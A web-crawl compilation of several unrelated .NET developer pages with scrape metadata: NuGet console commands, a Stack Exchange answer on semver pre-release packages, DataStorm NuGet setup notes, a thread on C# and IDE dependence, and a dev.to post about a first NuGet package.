Uncheck the checkbox of the project from which you want to uninstall the package. Click on the OK button. The package will be removed from your project.
Using NuGet through Command Line:
To control NuGet packages, Visual Studio also offers a command-line interface. The “Package Manager Console” is a Power Shell-based console.
In order to open the NuGet PowerShell Console, Go to Tools > Library Package Manager > Click “Package Manager Console”.
This will open the PowerShell console, which you can use to add or delete packages using commands. Following is the list of all NuGet commands, which are available for you to use.
get-help NuGet
This command will load all the available commands that support Nuget.
Get-Package
It gets the set of packages available from the package source.
Install-Package
It will install a package and its dependencies into the project.
Uninstall-Package
It will uninstall a package. The command will fail if other packages depend on this package unless the Force option is specified.
Update-Package
It updates a package and its dependencies to a newer version.
Sync-Package
It gets the installed package’s version from the specified/default project and syncs it with the rest of the solution’s projects.
New-Package
It creates a new package when a Nuspec package specification file is supplied along.
Add-BindingRedirect
It examines all assemblies within the output path for a project and also adds binding redirects to the application (or web) configuration file wherever required.
Get-Project
It returns a reference to the DTE (Development Tools Environment) for the active or specified project.
Conclusion:
We hope that this article has helped you learn more about NuGet and using NuGet packages in.NET projects.
|
||||
8582
|
dbpedia
|
0
| 11
|
https://softwareengineering.stackexchange.com/questions/448142/best-practices-for-team-development-with-nuget-projects-in-net
|
en
|
Best practices for team development with NuGet projects in .Net
|
[
"https://cdn.sstatic.net/Sites/softwareengineering/Img/logo.svg?v=e86f7d5306ae",
"https://graph.facebook.com/632372009/picture?type=large",
"https://i.sstatic.net/vPzRc.png?s=64",
"https://softwareengineering.stackexchange.com/posts/448142/ivc/3e78?prg=4299c038-7c02-4bdb-9a3f-bf203c0bf418"
] |
[] |
[] |
[
""
] | null |
[] |
2023-10-17T00:09:26
|
TL;DR I want to change the way our current enterprise code base is constructed to utilize NuGet packages for the inter-project references, but that seems to present some challenges when considering...
|
en
|
https://cdn.sstatic.net/Sites/softwareengineering/Img/favicon.ico?v=c4f35a1e3900
|
Software Engineering Stack Exchange
|
https://softwareengineering.stackexchange.com/questions/448142/best-practices-for-team-development-with-nuget-projects-in-net
|
Tangent: your project structure
First of all, a massive elephant that is proving to be a bit of a distraction / cause for general concern: if I understand your explanation correctly, you have separated your codebases by layer, i.e. instead of cutting up a monolith vertically like microservices do (by bounded context), you've cut it up horizontally (by individual layers of those services).
I don't like that approach. I also think it separate some layers further from each other, leading to a significant increase in overhead cost in terms of handling inter-layer dependencies and references. This will inevitably impact how much effort is involved in managing anything related to this (and this question falls squarely into that category).
However, the core question you're asking is the same even if you were to assume a more common microservice architecture where you have separated services but not separated layers. So I'm going to answer this question in a way that sidesteps your project organization because it's not the core focus here.
How to Nuget
Ideally, we would do something similar to what we do now (i.e. build a -beta NuGet package locally and reference it during testing), and then check the whole graph in once the change was complete. But how would you go about doing that without having to do all kinds of gymnastics with the project files, as far as changing the project references and / or repo sources?
I'm going to establish a few points that are necessary to get to what I want to focus on. I'm skipping the justifications because the answer would explode in size.
Nuget packages are intentional releases of versions. They indicate an intentional action on the part of the package developer.
Because the consumer can consume Nuget package versions at their own leisurely pace (and update references to newer versions as they see fit, or not), it is paramount to keep older versions of your package available, ideally without ever expiring.
Semver is the established standard for managing an evolving version that respects older versions and how consumers can choose the right version for their use case.
For the purposes of testing, it would be bad form to have to change how you consume your dependency, because then you're not testing the real thing anymore. This argument is no different (in spirit) from having different methods for a "real" call and a "test" call in a class. Any difference between the two is likely going to obfuscate what should have been caught as a test failure. Ideally, you want your tests (even for non-final Nuget packages) to use the real Nuget dependency.
There are two points I want to make here. The first is a bit of an idealistic principled point, but it is the overall better approach.
1
TL;DR: A Nuget package denotes the boundary between two components that should really have a separate lifecycle. In doing so, you significantly mitigate the need for experimental package release in the first place.
Nuget packages are a non-trivial process. You can't feasibly build and release a package for every tiny change you make to your code, plus it would take a non-zero amount of time to get all these changes build and onto your feed. Can it be done? Sure. Will it be nice and quick for a developer who is mid-development and in "the zone"? Absolutely not
What this means is that Nuget packages act as a slow gate, and you should really be designing your process in a way that minimizes the amount of times you need to release such a Nuget package.
Speaking in general microservice terms (which I know isn't your specific use case but humor me here), you should try and finalize your changes to Service A before you even begin implementing how Service B consumes the new version of A.
By minimizing the back-and-forth between developing A and B, you minimize how often you have to cross the slow bridge of Nuget package releasing.
In an ideal world, I would suggest you hold to the standard of testing A in isolation and fully confirming it follows the standards before you even begin to implement in B. If you do so, you actually don't need to ever use an experimental Nuget package from A in service B, because you will have vetted A before it ever needed to be a Nuget package.
This is an idealistic point, and not necessarily a fully realistic one. However, the other side of the spectrum, where you actively choose to develop your features across multiple independent services (including Nuget bridges between them) is going to be a really inefficient process with significant complexity both in scheduling their release and avoiding/handling regressions, on top of requiring developers to actively manage several services at the same time.
All of these things increase the cognitive load on your developers and it will significantly complicate your development process. Try to respect the individual nature of your individual projects. A Nuget package denotes the boundary between two components that should really have a separate lifecycle.
2
TL;DR: Semver pre-release versioning solves the problem for you.
If you accept these bullet points, and you don't fully adhere to the (admittedly idealistic) previous point, then the remaining question is "how can I pre-release Nuget packages that are not a final version yet?". The answer to that will be the answer to your question.
"Pre-release" is the operative word here. Semver actually account for the need to have alpha and beta packages, by using an established version number format that indicates the pre-release nature of it. Emphasis mine (link):
A pre-release version MAY be denoted by appending a dash and a series of dot separated identifiers immediately following the patch version. Identifiers MUST be comprised of only ASCII alphanumerics and dash [0-9A-Za-z-]. Pre-release versions satisfy but have a lower precedence than the associated normal version.
In other words, the following list of versions is considered to be in order of version number:
1.0.0 1.0.1 1.0.2 1.1.0 2.0.0-alpha 2.0.0-beta 2.0.0 2.0.1
Small detail: alpha and beta are sorted by standard alphabetical order. Make sure that if you have multiple pre-releases of the same version, that you label them accordingly. The name you pick is completely up to you.
If you still insist on having many experimental releases for the same version, make sure to adequately prefix your numbering to ensure alphabetical sorting is maintained, e.g. 2.0.0-rc001, 2.0.0-rc002, ..., 2.0.0-rc099, 2.0.0-rc100, 2.0.0-rc101, ...
What this means is that if a consumer is set to consume the 2.0.0 package, and we're living in a world where 2.0.0-alpha is the most recent release (according to the above chart), then that consumer will take the 2.0.0-alpha version because it falls under the umbrella of 2.0.0.
However, without needing to change the consumer, if you then release the actual package 2.0.0, your consumer will automatically take the 2.0.0 (newer, non-experimental) version instead of the 2.0.0-alpha that it used to work with (of course, this requires the consumer to rebuild, but that's inherently how Nuget is designed to work).
What this means is that you can set your consuming service to already "sign up" for the new version, and the way semver sorts its versions will ensure that it will take the best version available (i.e. experimental only if there is no final version), without you needing to constantly manually update precisely which pre-release version it should consume.
|
||||
8582
|
dbpedia
|
3
| 13
|
https://doc.zeroc.com/datastorm/1.1/release-notes/using-the-windows-binary-distribution
|
en
|
Using the Windows Binary Distribution
|
[
"https://doc.zeroc.com/download/attachments/327682/global.logo?version=5&modificationDate=1694531439000&api=v2",
"https://doc.zeroc.com/datastorm/files/1.1/103154801/103154800/1/1663343082000/tools-package-manager.png",
"https://doc.zeroc.com/datastorm/files/1.1/103154801/103154793/1/1663343082000/image2017-6-8+17%3A42%3A2.png"
] |
[] |
[] |
[
""
] | null |
[] | null | null |
This page provides important information for users of the DataStorm binary distributions on Windows platforms.
On this page:
Overview of the DataStorm Binary Distribution for Windows
DataStorm provides the NuGet package zeroc.datastorm.v143 for use with Visual Studio 2022
The Nuget package contains the complete DataStorm C++ SDK, with x86, x64, Debug and Release libraries.
NuGet Package Installation
Adding a NuGet Package to a Visual Studio C++ Project
Follow these steps to install DataStorm NuGet packages on your computer.
Open the Visual Studio Solution that contains the project you want to work on.
Open the NuGet Package Manager from the Tools menu:
On the next screen, select the zeroc.datastorm package you want to install, then select the project in which you want to install it and finally click the Install button.
NuGet will install this package in the packages folder next to your Solution file and configure the selected project to use it.
Information for C++ Developers
Once you've installed the DataStorm NuGet package into a C++ project as shown earlier, this project will find automatically all DataStorm C++ header files and import libraries.
Moreover, the Debugger Path is set and you can run your application directly from Visual Studio - there is no need to set any additional environment variables.
Compiler Settings
Your application must be compiled with the same flags as the DataStorm libraries:
Release: /MD /EHsc
Debug: /MDd /EHsc
You don't need to list DataStorm import libraries such as DataStorm0d.lib when linking with DataStorm libraries. pragma directives in DataStorm header files provide these import library names to the linker.
NuGet Package Details
The following table shows the DataStorm C++ NuGet package layout:
Installing the NuGet package imports the property and target files from the build\native folder into the project.
The targets file configures the C++ Additional Include Directories and Additional Library Directories to locate C++ headers and import libraries in the package's include and lib folders.
Using the Sample Programs
|
||||||||
8582
|
dbpedia
|
1
| 9
|
https://softwareengineering.stackexchange.com/questions/169920/is-c-development-effectively-inseparable-from-the-ide-you-use
|
en
|
Is C# development effectively inseparable from the IDE you use?
|
[
"https://cdn.sstatic.net/Sites/softwareengineering/Img/logo.svg?v=e86f7d5306ae",
"https://www.gravatar.com/avatar/a007be5a61f6aa8f3e85ae2fc18dd66e?s=64&d=identicon&r=PG",
"https://www.gravatar.com/avatar/0efdfbc3d7c390992c3525ca5a23d277?s=64&d=identicon&r=PG",
"https://i.sstatic.net/kMLdh.jpg?s=64",
"https://www.gravatar.com/avatar/4af3541c00d591e9a518b9c0b3b1190a?s=64&d=identicon&r=PG",
"https://www.gravatar.com/avatar/130b8a67fd029b2e6b5e56e7aad04952?s=64&d=identicon&r=PG",
"https://www.gravatar.com/avatar/57c3668e04823e4c9f979fbadad9197c?s=64&d=identicon&r=PG",
"https://www.gravatar.com/avatar/eca9d9724ab56d3a977146c9bf7dd75c?s=64&d=identicon&r=PG",
"https://www.gravatar.com/avatar/6fc5e3f98fb1113576b50672ae42c05c?s=64&d=identicon&r=PG",
"https://www.gravatar.com/avatar/0bce4ecc3649443edeb6eba28f9a6c04?s=64&d=identicon&r=PG",
"https://i.sstatic.net/inTx6.png?s=64",
"https://www.gravatar.com/avatar/6a949b13f766f5b1095c9a98dcb94d7f?s=64&d=identicon&r=PG",
"https://www.gravatar.com/avatar/89c3645ed352c9f08fae80da29437236?s=64&d=identicon&r=PG",
"https://www.gravatar.com/avatar/021d0d3a0676561486d5ec92339e3bb4?s=64&d=identicon&r=PG",
"https://softwareengineering.stackexchange.com/posts/169920/ivc/3e78?prg=ff53d8c6-7ad5-4dd6-aaa5-159fc10077ed"
] |
[] |
[] |
[
""
] | null |
[] |
2012-10-15T10:52:42
|
I'm a Python programmer learning C# who is trying to stop worrying and just love C# for what it is, rather than constantly comparing it back to Python.
I'm caught up on one point: the lack of
|
en
|
https://cdn.sstatic.net/Sites/softwareengineering/Img/favicon.ico?v=c4f35a1e3900
|
Software Engineering Stack Exchange
|
https://softwareengineering.stackexchange.com/questions/169920/is-c-development-effectively-inseparable-from-the-ide-you-use
|
Visual Studio is so convenient that after working with it for a while it is difficult to use a different IDE. It has a lot of handy tools and a bunch of plugins available, so practically it has every feature you would need.
On the other hand, whatever language you learn, it is recommended to use command line at the beginning, so you can better understand how it works. C# isn't an exception.
is C# development effectively inseparable from the IDE you use?
Theoretically no, but practically yes. It is possible to write in C# using a text editor and command line, but if you have Visual Studio, you'd never do this. In fact very few programmers have ever executed C# code from command line.
BTW If you feel inconvenient with using foo, you can use the whole path when using a type.
The idea of being dependent on an IDE to understand code at such a basic level seems anathema.
It is not a question of understanding your code: given sufficient time, you can always locate the right variable with a basic text editor or even in a printout. As far as understanding the code goes, the IDE dependency absolutely does not exist.
Locating your references efficiently is an entirely different subject: I love the ability to find usages of Java variables in Eclipse as much as I love finding declaration points in Visual Studio, for both C# and C++. I prefer spending my time coding, rather than looking for declaration points manually. This is similar to doing math: I can multiply multidigit numbers on a piece of paper, but I prefer using calculator to save myself a minute or two.
Starting at a certain "critical size" of the code, a good IDE becomes very useful regardless of the programming language. The size may vary language to language, but once you cross several thousand lines, having an IDE helps regardless of your language. This has more to do with limitations of a human mind than with a particular programming language: at some point, your short-term memory is bound to "overflow".
There are tricks letting you increase that critical size where IDE becomes useful. For example, you could follow a naming convention (Hungarian names were big in the C++ world at some point, especially among the Windows practitioners). Another common trick is qualifying instance variables with this. even in contexts where such qualification is not required.
These tricks come with trade-offs: almost inevitably, they make your program less readable by obscuring names, or inserting the explicit references the encapsulation was intended to hide. Faced with the choice, I pick clean-looking code plus an IDE over a less-clean-looking code minus an IDE. I fully recognize, however, that other people's choices may differ from mine.
Many Python programmers prefer a text editor approach to coding, using something like Sublime Text 2 or vim, where it's all about the code, plus command line tools and direct access and manipulation of folders and files.
That's great, but it misses the point of the VS IDE. The point of an IDE like VS is rapid development support via strong code tools like refactoring and intellisense. VS is a very very good editor for C# code.
Now C# lets you code in a style that depends on its IDE to a greater extent (you can use lots of var keywords and the like). Some people prefer to be more explicit, for instance by using namespace aliases to be clear on which namespace a class belongs to (like import in Java or Python). That's more of a coding style choice than a feature of the language.
As C# is statically typed (although with some dynamic extensions, as of v4) it's always fairly easy to find out what types are being referred to - if they're wrong the code won't compile, and VS isn't the only IDE with support for C# intellisense. It's probably the best though.
Developing C# without a powerful IDE (like VS) is rather like hammering in nails by hand when you already have a top of the range nailgun - there might be the odd time you need to do it, but professionals use the right tool for the job.
I'd say the same is probably true of Java too. If there's a powerful IDE with intellisense and code refactor tools out there you should probably be using it.
However, look at it the other way round - if you don't want intellisense, compile time code checking and code-analysis/refactoring then a bloated IDE is not the way to go, and neither is a statically typed language. I think it's the other way round:
Many programmers that prefer a text editor approach to coding don't gain as much from statically typed languages (like C# and Java) and so could be better off if they stick to dynamic ones like Python and Javascript.
I think:
Dynamic languages suit lightweight tools (heavyweight IDEs confer less benefit here)
Static languages suit powerful IDEs (tools can help with the code at the cost of flexibility)
To answer your question: although it's slowly changing, the Microsoft development environment has largely been a monoculture.
This approach has many positives and negatives, which could be argued at length (e.g. consider the pros and cons of open and closed platforms, such as PCs vs an Xbox), but at the end of the day, the tooling from Microsoft is what most people use. The company has also shown that their decision making is often a kind of "give the most value to the majority of our users" process, always looking for practical compromises (most recently - consider Typescript). So basically, I wouldn't be surprised to find that the development of C# was / is done with the tooling (VS) in mind.
Anyone bother to read way down here??
I summarize by saying the massively complex IDE functionality is indispensable and it will (should) evolve to the Zen of Sublime VimNess some day....
Our software is 129 projects of about 2M LOC. Add in the massiveness of the .NET framework and given this all I can say is the IDE is vital, transcending the motivations of this thread's question.
Insight into the Code Base
Period. You know the kinds of features we're talking about; except that its convenience becomes indispensable and essential with the kind of code base I deal with.
I write better code because of the IDE. I always add custom messages to my Nunit tests because it's easy, fast and accurate. I favor enumerations over strings due in large part to intellisense. I do not hesitate to use descriptive/long naming - a multi-line statement is composed fast and clean.
But even this smartness is too much at times. I often use good-old "find in files" text searching.
Coding help
Here is where I oft cry "enough!". Imagine a screen-full with a dozen colors of mostly obscureatta, some particular variable highlighted everywhere, brace highlighting obscuring what the brace actually is, squiggly underlining everywhere because "it" wants me to write literature not code, icons for Resharper context menus (you just gotta click it! then ignore it most of the time), a signature help popup spanning 2/3 of the screen horizontally, vertically displaying several overloads, a popup because of where you just happened to leave the mouse cursor.... I cant even seen the &^!% line*s* of code I'm working on!
Vis.Stud. needs to embrace minimalism so I can focus on coding and not go through hundreds (thousands if you count every color coding setting and all those plugins) of settings in a losing battle to reclaim sanity. A "Pareto" key would be great.
For one, C# is not Python.. There are different design methodologies.
Now, to answer your question, it's completely possible to use your Python-esque using statements.
using FooBar=MyName.Foo.FooBar;
It's just it is definitely not the norm because it's not nearly so easy. However, I think you should worry less about knowing exactly where exactly each class is coming from. I don't understand the entire point of doing it this way in Python though.
And also, C# is a language that lends itself very well to using IDEs to make it easier. Intellisense is amazingly simple to implement, especially compared to dynamic languages such as Ruby and Python. However, you don't have to be stuck to your IDE. I've heard of people using Eclipse. There also is of course MonoDevelop(which I use quite a lot), and you can even work from a command line. On my server sometimes, I'll be editing C# files with vi and then using xbuild to rebuild it... It's just that using an IDE makes things much easier compared to the command line for typical cases.
This is an interesting view on C# development. What you are asking goes beyond C# though, if you're asking about the IDE.
Like you say, in Python, you can use various editors to write your code. You can do that with the .NET framework too. There are also other IDE tools you can use such as SharpDevelop. Visual Studio is very tightly co-developed with the .NET framework and is relatively expensive. Tools such as SharpDevelop and the "Express" versions of VS exist to entice more developers to use .NET. Essentially all an IDE does for you is provide an organised environment, usually with intellisense, add-ons for productivity and a "helper" to assemble what can end up being a very scary looking command-line to pass to your compiler. The same is true for Java, tools such as Eclipse just provide the organisation and productivity enhancements for us. Under the hood, nothing magical happens until you build or compile your project and that respect, all IDE's are just pretty faces to the unfriendly compiler.
When you talk about the "using" statement in C# and compare it to Python, it's not really the same thing going on under the hood. The using statements are used by the compiler to aid it's effort in transforming the C# code into MSIL. In MSIL, there is no "import all these classes from this namespace" directive. By the time code is at MSIL level, all the classes have been tagged with their fully qualified names. These "using" and "import" statements are to aid human readability. They are not compiler optimisation commands. After all this initial "tagging of fully qualified names" has gone on, there might be a kind of low-level "minify" to the FQNs but this is to aid the compiler/interpreter to execute faster. This is the optimisation - but there is no control of this offered to the developer, unless you are writing your own custom version of the compiler!
One final fundamental difference between all these languages mentioned on here are that some of them are interpreted by VMs, some are interpreted JIT style and some are fully compiled. How these using directives are implemented across those compilers and interpreters differs greatly.
HTH.
I think that historically the answer is pretty much, yes - getting C# development up and running effectively in anything outside of Visual Studio, Xamarin, or SharpDevelop was just too much an unpleasant experience.
But recently a lot of projects have emerged that makes it easier, e.g.:
OmniSharp, provides a foundation for intellisense and refactoring, along with vim, emacs, atom, and sublime plugins. I haven't actually used it, so I don't know how well it works, but it does look promising.
Yeoman ASP.NET MVC generators, helps bootstrap a new MVC project (maybe other generators exist).
paket, an alternative to NuGet where you can actually add NuGet packages to your project from the command line, and have your .csproj files updated (although there was a NuGet command line tool, actually updating projects to use the packages was part of the IDE integration, not command line tools).
Paket has the implication that you have to adapt your source code to using it - so if you sit as the single member in a team and wants to use a text editor for coding, and everybody else uses Visual Studio, you would have to convince everybody else to adapt the solution to your needs :(
So you should be able to get up and running, but there is comparably more work to do to get your toolchain up and running efficiently.
|
||||
8582
|
dbpedia
|
1
| 30
|
https://dev.to/ara225/built-my-first-c-nuget-package-4189
|
en
|
Built my first C#/NuGet package!
|
[
"https://media.dev.to/cdn-cgi/image/quality=100/https://dev-to-uploads.s3.amazonaws.com/uploads/logos/resized_logo_UQww2soKuUsjaOGNB38o.png",
"https://dev.to/assets/heart-plus-active-9ea3b22f2bc311281db911d416166c5f430636e76b15cd5df6b3b841d830eefa.svg",
"https://dev.to/assets/sparkle-heart-5f9bee3767e18deb1bb725290cb151c25234768a0e9a2bd39370c382d02920cf.svg",
"https://dev.to/assets/multi-unicorn-b44d6f8c23cdd00964192bedc38af3e82463978aa611b4365bd33a0f1f4f3e97.svg",
"https://dev.to/assets/exploding-head-daceb38d627e6ae9b730f36a1e390fca556a4289d5a41abb2c35068ad3e2c4b5.svg",
"https://dev.to/assets/raised-hands-74b2099fd66a39f2d7eed9305ee0f4553df0eb7b4f11b01b6b1b499973048fe5.svg",
"https://dev.to/assets/fire-f60e7a582391810302117f987b22a8ef04a2fe0df7e3258a5f49332df1cec71e.svg",
"https://media.dev.to/cdn-cgi/image/width=50,height=50,fit=cover,gravity=auto,format=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F433686%2F3ea00bcb-30e8-48aa-af9d-334f8d110b47.png",
"https://dev.to/assets/sparkle-heart-5f9bee3767e18deb1bb725290cb151c25234768a0e9a2bd39370c382d02920cf.svg",
"https://dev.to/assets/multi-unicorn-b44d6f8c23cdd00964192bedc38af3e82463978aa611b4365bd33a0f1f4f3e97.svg",
"https://dev.to/assets/exploding-head-daceb38d627e6ae9b730f36a1e390fca556a4289d5a41abb2c35068ad3e2c4b5.svg",
"https://dev.to/assets/raised-hands-74b2099fd66a39f2d7eed9305ee0f4553df0eb7b4f11b01b6b1b499973048fe5.svg",
"https://dev.to/assets/fire-f60e7a582391810302117f987b22a8ef04a2fe0df7e3258a5f49332df1cec71e.svg",
"https://media.dev.to/cdn-cgi/image/width=256,height=,fit=scale-down,gravity=auto,format=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8j7kvp660rqzt99zui8e.png",
"https://media.dev.to/cdn-cgi/image/width=100,height=100,fit=cover,gravity=auto,format=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1003677%2F7636e2c5-7a6f-4c50-abb4-56b879dbbdcf.jpg",
"https://media.dev.to/cdn-cgi/image/width=100,height=100,fit=cover,gravity=auto,format=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1003677%2F7636e2c5-7a6f-4c50-abb4-56b879dbbdcf.jpg",
"https://media.dev.to/cdn-cgi/image/width=100,height=100,fit=cover,gravity=auto,format=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1003677%2F7636e2c5-7a6f-4c50-abb4-56b879dbbdcf.jpg",
"https://media.dev.to/cdn-cgi/image/width=100,height=100,fit=cover,gravity=auto,format=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1003677%2F7636e2c5-7a6f-4c50-abb4-56b879dbbdcf.jpg",
"https://media.dev.to/cdn-cgi/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F433686%2F3ea00bcb-30e8-48aa-af9d-334f8d110b47.png",
"https://media.dev.to/cdn-cgi/image/width=190,height=,fit=scale-down,gravity=auto,format=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8j7kvp660rqzt99zui8e.png",
"https://dev.to/assets/sparkle-heart-5f9bee3767e18deb1bb725290cb151c25234768a0e9a2bd39370c382d02920cf.svg",
"https://dev.to/assets/multi-unicorn-b44d6f8c23cdd00964192bedc38af3e82463978aa611b4365bd33a0f1f4f3e97.svg",
"https://dev.to/assets/exploding-head-daceb38d627e6ae9b730f36a1e390fca556a4289d5a41abb2c35068ad3e2c4b5.svg",
"https://dev.to/assets/raised-hands-74b2099fd66a39f2d7eed9305ee0f4553df0eb7b4f11b01b6b1b499973048fe5.svg",
"https://dev.to/assets/fire-f60e7a582391810302117f987b22a8ef04a2fe0df7e3258a5f49332df1cec71e.svg"
] |
[] |
[] |
[
"showdev",
"csharp",
"nuget",
"aws",
"software",
"coding",
"development",
"engineering",
"inclusive",
"community"
] | null |
[
"Anna Aitchison"
] |
2021-01-22T23:01:14+00:00
|
Yesterday, I pushed ara225.DynamoDBUserStore my first ever NuGet package. Basically, it's a wrapper a... Tagged with showdev, csharp, nuget, aws.
|
en
|
https://res.cloudinary.com/practicaldev/image/fetch/s--E8ak4Hr1--/c_limit,f_auto,fl_progressive,q_auto,w_32/https://dev-to.s3.us-east-2.amazonaws.com/favicon.ico
|
DEV Community
|
https://dev.to/ara225/built-my-first-c-nuget-package-4189
|
Yesterday, I pushed ara225.DynamoDBUserStore my first ever NuGet package. Basically, it's a wrapper around DynamoDB functions which allows ASP NET Core Identity to store user account details and role information in AWS DynamoDB (otherwise known as a custom user & role store for ASP .NET Core).
It's not glamorous or perfect, but it is somewhat complex and as well engineered and tested as I can make it, so I'm rather proud of it on a technical level.
It's also a fairly large achievement on a personal level. I used to be scared of more complex langues (namely C. C++, Java, and C#) because I tried and failed to learn C++ as a kid (and promptly gave up programing as a result). But, frankly that was about a decade ago, and I didn't have proper resources or know any developers so it's been an irrational fear for a long time.
Anyway, three months ago, I decided to throw myself in the deep end with C# by building a ASP .NET core app. I couldn't think of anything good to make, so I made a basic CRUD app (posing as a project management app) with authentication and made some unusual requirements (store everything in DynamoDB being the core one). I ended up making my own user store which became this thing.
|
||||
8582
|
dbpedia
|
3
| 29
|
https://visualstudiomagazine.com/Articles/2024/07/09/net-9-preview-6.aspx
|
en
|
.NET 9 Addresses NuGet Vulnerabilities in Preview 6
|
[
"https://pubads.g.doubleclick.net/gampad/ad?iu=/5978/eof.vsm&t=item%253dd87e8cae_d082_4be1_ade6_793f920dd149%26pos%253dbillboard%26Topic%253dDevelopment%252cNET%252cNET_Core%252cSecurity&sz=1800x450&tile=1&c=123456789",
"https://pubads.g.doubleclick.net/gampad/ad?iu=/5978/eof.vsm&t=item%253dd87e8cae_d082_4be1_ade6_793f920dd149%26pos%253dlead_t1%26Topic%253dDevelopment%252cNET%252cNET_Core%252cSecurity&sz=728x90|970x250&tile=2&c=123456789",
"https://visualstudiomagazine.com/~/media/ECG/visualstudiomagazine/design/vsmlogowhite.ashx",
"https://visualstudiomagazine.com/Articles/2024/07/09/~/media/ECG/shared/img/socialmedia/linkedin_light.ashx",
"https://visualstudiomagazine.com/Articles/2024/07/09/~/media/ECG/shared/img/socialmedia/twitter_x_light.ashx",
"https://visualstudiomagazine.com/Articles/2024/07/09/~/media/ECG/shared/img/socialmedia/youtube_light.ashx",
"https://visualstudiomagazine.com/~/media/ECG/redmondmag/design/2019/search.svg",
"https://visualstudiomagazine.com/~/media/ECG/redmondmag/design/2019/searchclose.svg",
"https://pubads.g.doubleclick.net/gampad/ad?iu=/5978/eof.vsm&t=item%253dd87e8cae_d082_4be1_ade6_793f920dd149%26pos%253dwallpaper_left%26Topic%253dDevelopment%252cNET%252cNET_Core%252cSecurity&sz=152x600|152x650&tile=3&c=123456789",
"https://pubads.g.doubleclick.net/gampad/ad?iu=/5978/eof.vsm&t=item%253dd87e8cae_d082_4be1_ade6_793f920dd149%26pos%253dwallpaper_right%26Topic%253dDevelopment%252cNET%252cNET_Core%252cSecurity&sz=152x600|152x650&tile=4&c=123456789",
"https://pubads.g.doubleclick.net/gampad/ad?iu=/5978/eof.vsm&t=item%253dd87e8cae_d082_4be1_ade6_793f920dd149%26pos%253dbox_c1%26Topic%253dDevelopment%252cNET%252cNET_Core%252cSecurity&sz=300x250&tile=5&c=123456789",
"https://visualstudiomagazine.com/Articles/2024/07/09/-/media/ECG/visualstudiomagazine/Images/introimages/GenericVisualStudio2.jpg",
"https://visualstudiomagazine.com/Articles/2024/07/09/-/media/ECG/VirtualizationReview/Images/introimages2014/GEN1RedSirenWhiteBackground.jpg",
"https://visualstudiomagazine.com/Articles/2024/07/09/-/media/ECG/visualstudiomagazine/Images/introimages/CopilotVisualStudio.png",
"https://visualstudiomagazine.com/Articles/2024/07/09/-/media/ECG/VirtualizationReview/Images/introimages2014/Azure_Developers.jpg",
"https://visualstudiomagazine.com/Articles/2024/07/09/-/media/ECG/visualstudiomagazine/Images/introimages/GenericVisualStudio.jpg",
"https://pubads.g.doubleclick.net/gampad/ad?iu=/5978/eof.vsm&t=item%253dd87e8cae_d082_4be1_ade6_793f920dd149%26pos%253dmobileflyout%26Topic%253dDevelopment%252cNET%252cNET_Core%252cSecurity&sz=300x250&tile=6&c=123456789",
"https://visualstudiomagazine.com/Articles/2024/07/09/~/media/ECG/visualstudiomagazine/Microsites/2023/readersChoiceAwards/readersChoiceAwards647.jpg?source=homepage_readerschoice",
"https://visualstudiomagazine.com/Captcha.ashx?id=171DA03ECAB24E7680CF50BC68D9B9BF",
"https://pubads.g.doubleclick.net/gampad/ad?iu=/5978/eof.vsm&t=item%253dd87e8cae_d082_4be1_ade6_793f920dd149%26pos%253dbox_r1%26Topic%253dDevelopment%252cNET%252cNET_Core%252cSecurity&sz=300x250|1x1|300x600&tile=7&c=123456789",
"https://pubads.g.doubleclick.net/gampad/ad?iu=/5978/eof.vsm&t=item%253dd87e8cae_d082_4be1_ade6_793f920dd149%26pos%253dbox_r2%26Topic%253dDevelopment%252cNET%252cNET_Core%252cSecurity&sz=300x250|1x1|300x600&tile=8&c=123456789",
"https://pubads.g.doubleclick.net/gampad/ad?iu=/5978/eof.vsm&t=item%253dd87e8cae_d082_4be1_ade6_793f920dd149%26pos%253dbox_r3%26Topic%253dDevelopment%252cNET%252cNET_Core%252cSecurity&sz=300x250|1x1|300x600&tile=9&c=123456789",
"https://pubads.g.doubleclick.net/gampad/ad?iu=/5978/eof.vsm&t=item%253dd87e8cae_d082_4be1_ade6_793f920dd149%26pos%253dright_300x150%26Topic%253dDevelopment%252cNET%252cNET_Core%252cSecurity&sz=300x370&tile=10&c=123456789",
"https://pubads.g.doubleclick.net/gampad/ad?iu=/5978/eof.vsm&t=item%253dd87e8cae_d082_4be1_ade6_793f920dd149%26pos%253dbox_r4%26Topic%253dDevelopment%252cNET%252cNET_Core%252cSecurity&sz=300x250|1x1|300x600&tile=11&c=123456789",
"https://pubads.g.doubleclick.net/gampad/ad?iu=/5978/eof.vsm&t=item%253dd87e8cae_d082_4be1_ade6_793f920dd149%26pos%253dbox_r5%26Topic%253dDevelopment%252cNET%252cNET_Core%252cSecurity&sz=300x250|1x1|300x600&tile=12&c=123456789",
"https://pubads.g.doubleclick.net/gampad/ad?iu=/5978/eof.vsm&t=item%253dd87e8cae_d082_4be1_ade6_793f920dd149%26pos%253dbox_r6%26Topic%253dDevelopment%252cNET%252cNET_Core%252cSecurity&sz=300x250|1x1|300x600&tile=13&c=123456789",
"https://pubads.g.doubleclick.net/gampad/ad?iu=/5978/eof.vsm&t=item%253dd87e8cae_d082_4be1_ade6_793f920dd149%26pos%253dboot_desktop%26Topic%253dDevelopment%252cNET%252cNET_Core%252cSecurity&sz=250x90&tile=14&c=123456789",
"https://pubads.g.doubleclick.net/gampad/ad?iu=/5978/eof.vsm&t=item%253dd87e8cae_d082_4be1_ade6_793f920dd149%26pos%253dboot_mobile%26Topic%253dDevelopment%252cNET%252cNET_Core%252cSecurity&sz=1024x90|1x1&tile=15&c=123456789",
"https://visualstudiomagazine.com/Articles/2024/07/09/~/media/ECG/Converge360/design/1105companylogo.png",
